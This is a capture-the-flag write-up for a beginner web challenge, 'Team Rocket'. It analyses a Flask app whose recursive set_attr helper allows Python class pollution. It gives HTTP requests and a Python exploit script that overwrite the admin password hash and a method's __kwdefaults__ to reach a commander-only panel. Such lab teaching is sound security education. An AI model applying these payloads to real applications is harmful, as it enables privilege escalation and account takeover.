Team Rocket
Team Rocket is looking for new members to join their global conquest! They have set up a new system to recruit new members. Can you infiltrate their system and find out what they are up to?
Source Code Analysis
We are given a dist.zip of which we have a flask app running from server.py
Class Definitions are also labelled in models.py with a interesting function in utils.py
from flask import Flask, render_template, request, redirect, url_for, abort, session, flash
from models import Grunt, Commander, Member
from utils import set_attr
import os
import functools
app = Flask(__name__)
app.secret_key = os.urandom(32).hex()
admin = Commander("Giovanni", "Mewtwo", app.secret_key)
Member.add_member_to_list(admin)
# Login required decorator
def login_required(view):
@functools.wraps(view)
def wrapped_view(**kwargs):
if 'user_id' not in session:
('You need to login first')
return redirect(url_for('login'))
return view(**kwargs)
return wrapped_view
def get_user_information(id):
member = Member.member_list.get(id)
if member:
return {
'id': member.id,
'name': member.name,
'role': member.role,
'pokemon': member.pokemon
# Password removed for security
}
return None
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=['GET', 'POST'])
def login():
if request.method == 'POST':
name = request.form.get('name')
password = request.form.get('password')
for member_id, member in Member.member_list.items():
if member.name == name and member.validate_password(password):
session.clear()
session['user_id'] = member.id
session['user_name'] = member.name
session['user_role'] = member.role
return redirect(url_for('dashboard'))
return render_template('login.html')
@app.route('/logout')
def logout():
Member.clear_member_from_list(session.get('user_id'))
session.clear()
return redirect(url_for('index'))
@app.route("/dashboard", methods=['GET'])
@login_required
def dashboard():
current_user_id = session.get('user_id')
all_members = []
for member_id, member in Member.member_list.items():
if member.role == 'Commander' or member_id == current_user_id:
all_members.append({
'id': member.id,
'name': member.name,
'role': member.role,
'pokemon': member.pokemon,
'tagline': member.intro()
})
return render_template("dashboard.html", list_of_members=all_members)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == "POST":
name = request.form["name"]
pokemon = request.form["pokemon"]
password = request.form['password']
if not name or not pokemon or not password:
abort(400)
for member_id, member in Member.member_list.items():
if member.name == name:
flash(f"Username '{name}' is already taken. Choose another one.", "error")
return render_template("register.html")
user = Grunt(name, pokemon, password)
Member.add_member_to_list(user)
return redirect(url_for("index"))
return render_template("register.html")
@app.route('/under_construction', methods=['POST'])
@login_required
def under_construction():
if request.method == "POST":
current_user_id = session.get('user_id')
member = Member.member_list.get(current_user_id)
if member:
field = request.form['field']
value = request.form['value']
set_attr(member, field, str(value))
return redirect(url_for('dashboard'))
@app.route('/control_panel', methods=['GET', 'POST'])
@login_required
def control_panel():
current_user_id = session.get('user_id')
member = Member.member_list.get(current_user_id)
if not member or member.role != 'Commander':
return redirect(url_for('dashboard'))
if request.method == 'POST':
output = member.execute_command()
return render_template('control_panel.html', output=output)
return render_template('control_panel.html', output='Top Secret')
if __name__ == '__main__':
app.run()
Looking at models.py, it is quite obvious that we have to elevate our user from a Grunt to a Commander.
We can start with registering a user which uses the Grunt class template.

We immediately see a Commander user called Giovanni
and looking at server.py, we can see the user created during server startup, taking app.secret_key
as password and being added to member_list
which we will get back to later.
app = Flask(__name__)
app.secret_key = os.urandom(32).hex()
admin = Commander("Giovanni", "Mewtwo", app.secret_key)
Member.add_member_to_list(admin)
We also see two interesting file routes /under_construction
and /control_panel
under_construction
is a API endpoint which only accepts POST requests.control_panel
requires us to be aCommander
which is out of reach for now
Taking a closer look into /under_construction
, we see that it is supposedly a edit feature for the user, allowing them to update their own attributes (E.g pokemon
, password)
.
The vulnerability lies in how the attributes are being set with set_attr
which recursively sets the attributes, using .
as a seperator.
def set_attr(obj, prop, value):
prop_chain = prop.split('.')
cur_prop = prop_chain[0]
if len(prop_chain) == 1:
if isinstance(obj, dict):
obj[cur_prop] = value
else:
setattr(obj, cur_prop, value)
else:
if isinstance(obj, dict):
if cur_prop in obj:
next_obj = obj[cur_prop]
else:
next_obj = {}
obj[cur_prop] = next_obj
else:
if hasattr(obj, cur_prop):
next_obj = getattr(obj, cur_prop)
else:
next_obj = {}
setattr(obj, cur_prop, next_obj)
## Using `.` as a seperator
set_attr(next_obj, '.'.join(prop_chain[1:]), value)
Looking at models.py
, we see that both Grunt
and Commander
class inherit from the same base class Member.
As such, they are able to access the member_list
variable in Member
class, allowing them to edit the admin user added into that list.
>>> from models import *
>>> c = Commander("c", "c", "c")
>>> c
Commander(id=9f1ce056-7608-4473-a5d5-bb3b96be6d64, name=c, pokemon=c)
>>> Member.add_member_to_list(c)
>>> g = Grunt("nicholas","darkrai","asd")
>>> g
Grunt(id=ae9f795b-1025-4289-a46c-b9f1d7526154, name=nicholas, pokemon=darkrai)
>>> g.__class__.__base__
<class 'models.Member'>
>>> g.__class__.__base__.member_list
{'9f1ce056-7608-4473-a5d5-bb3b96be6d64': Commander(id=9f1ce056-7608-4473-a5d5-bb3b96be6d64, name=c, pokemon=c)}
>>>
This allows you to influence the values of global variables which gives us a few options in escalating to Commander.
Privilege Escalation
Changing of
app.secret_key
Changing this allows you to craft your own session cookie as
Commander
using flask-unsignSlightly tedious as the usual
class.init.globals
will not work.
Changing of the admin user (Giovanni)'s password
With some nested queries, one is able to change the password of the admin user added during initialization to whatever hashed variant they want
This was the intended path
Changing the Grunt User's id to match the admin user
The
user_id
check incontrol_panel
checks against all the users inmember_list
and since the admin user was first to be added during server initialization , it will pass the checkThis was spotted by lty748 (thanks!)
We also need the id of the Commander
user which is conveniently commented out in dashboard.html.

Following (2) which changes the admin password, this is what the request would look like on Postman or Burp. The SHA
hash simply translates to "test".
POST /under_construction HTTP/1.1
Host: 127.0.0.1:5000
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:5000/login
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJyrViotTi2Kz0xRslIysDA2MjFNTtJNTjY30TUxNjPTtTQ0NdY1NLE0Tks0NDBOtkxW0oFoyEvMTQVq8ctMzsjPSSyGCRfl54CE3YtK80qUagHfPxwC.Z8CTkA.k2eC5A_mN0qZ_-VWLxZY_Wz_Zmo
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
field=__class__.member_list.3406a1cc-9474-48b2-ac61-20bde4152ee2.password.data&value=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
This brings us to /control_panel

A Twist
Simply typing anything in the input box will keep displaying the same message "Capture the creation trio and conquer the world!"
Taking a look at the source code again we see the issue, the server doesn't even process our input and defaults to secret_missionn
by default🤦
## snip
@app.route('/control_panel', methods=['GET', 'POST'])
@login_required
def control_panel():
current_user_id = session.get('user_id')
member = Member.member_list.get(current_user_id)
if not member or member.role != 'Commander':
return redirect(url_for('dashboard'))
if request.method == 'POST':
output = member.execute_command()
return render_template('control_panel.html', output=output)
return render_template('control_panel.html', output='Top Secret')
Doing a quick google search, we realize we are able to ovewrite the default keyword argument __kwdefaults__
using the same vulnerable set_attr
function in /under_construction

We can test it locally again and success!
>>> from models import *
>>> c = Commander('c','c','c')
>>> c.execute_command
<bound method Commander.execute_command of Commander(id=d107de92-bb1a-4292-badd-18347720448b, name=c, pokemon=c)>
<method-wrapper '__init__' of method object at 0x0000016EA0178BC0>
>>> c.__class__.execute_command.__kwdefaults__
{'command': 'secret_mission'}
>>> c.__class__.execute_command.__kwdefaults__['command']
'secret_mission'
>>> c.__class__.execute_command.__kwdefaults__['command'] = 'hello'
>>> c.__class__.execute_command.__kwdefaults__
{'command': 'hello'}
Crafting the appropriate POST request to /under_construction
and visiting control_panel
gives us the flag.
POST /under_construction HTTP/1.1
Host: 127.0.0.1:5000
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Referer: http://127.0.0.1:5000/login
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJyrViotTi2Kz0xRslIyNjEwSzRMTta1NDE30TWxSDLSTUw2M9Q1MkhKSTUxNDVKTTVS0oFoyEvMTQVqcc_ML0vMy8uECRfl54CEnfNzcxPzUlKLlGoBdJseEw.Z8Hfnw.8AHDOZXVfF6YQmMdiFPNCdIP34k
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
field=__class__.execute_command.__kwdefaults__.command&value=secret_message

Challenges
Technical Limitations?
The nature of the challenge meant that the variables and class structures in memory were being overriden. This resulted in needinng the server to reset every 5 minutes which might have proved to be a nuisance to some participants (albeit testing locally would have alleviated most of this)
This challenge would have worked better if it was a seperate instance per team or a remote API server like in binary exploit challenges.
Difficulty?
SMU WhiteHacks CTF is catered towards beginners in cyber security, opening only to JC and Poly Students not in IT courses. However, there were pretty good CTF players within the JC category so there needed to be a wide spread of challenges ranging across all difficulties.
However, the challenge is really doable as a beginner with the help of chatgpt. Simply copy pasting snippets of interesting code into chatgpt should net you some direction as to what vulnerability the website was succeptible to.
Pasting set_attr
function into ChatGPT
Overall, i just thought that this was a cool concept of a challenge. I hope to create more interesting Web and Binary Exploit challenges in the future hehe. Attached below are some useful references and my test script I used for automating most of the challenge.
References
import requests
def send_password_modification(host, cookie_value, member_id):
url = f"http://{host}/under_construction"
headers = {
"Host": host,
"Cache-Control": "max-age=0",
"Accept-Language": "en-GB,en;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Cookie": f"session={cookie_value}",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded"
}
# The password hash is for "test"
data = f"field=__class__.member_list.{member_id}.password.data&value=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
print(f"Sending request to: {url}")
print(f"With data: {data}")
print(f"Using cookie: session={cookie_value}")
try:
response = requests.post(url, headers=headers, data=data)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
except Exception as e:
print(f"Error: {e}")
def override_command(host, cookie_value):
url = f"http://{host}/under_construction"
headers = {
"Host": host,
"Cache-Control": "max-age=0",
"Accept-Language": "en-GB,en;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Cookie": f"session={cookie_value}",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded"
}
data = "field=__class__.execute_command.__kwdefaults__.command&value=secret_message"
print(f"Sending request to: {url}")
print(f"With data: {data}")
print(f"Using cookie: session={cookie_value}")
try:
changing_kwdefualts = requests.post(url, headers=headers, data=data)
flag = requests.post(f"http://{host}/control_panel", headers=headers)
print(flag.text)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
host = "127.0.0.1:5000"
print("Choose exploit:")
print("1. Password Modification")
print("2. Command Override")
choice = input("Enter your choice (1 or 2): ")
cookie = input("Enter your cookie session value: ")
if choice == "1":
member_id = input("Enter the member ID: ")
send_password_modification(host, cookie, member_id)
elif choice == "2":
override_command(host, cookie)
else:
print("Invalid choice. Please run again and select 1 or 2.")
print("Done! Try logging in or executing /control_panel to see the changes.")
Last updated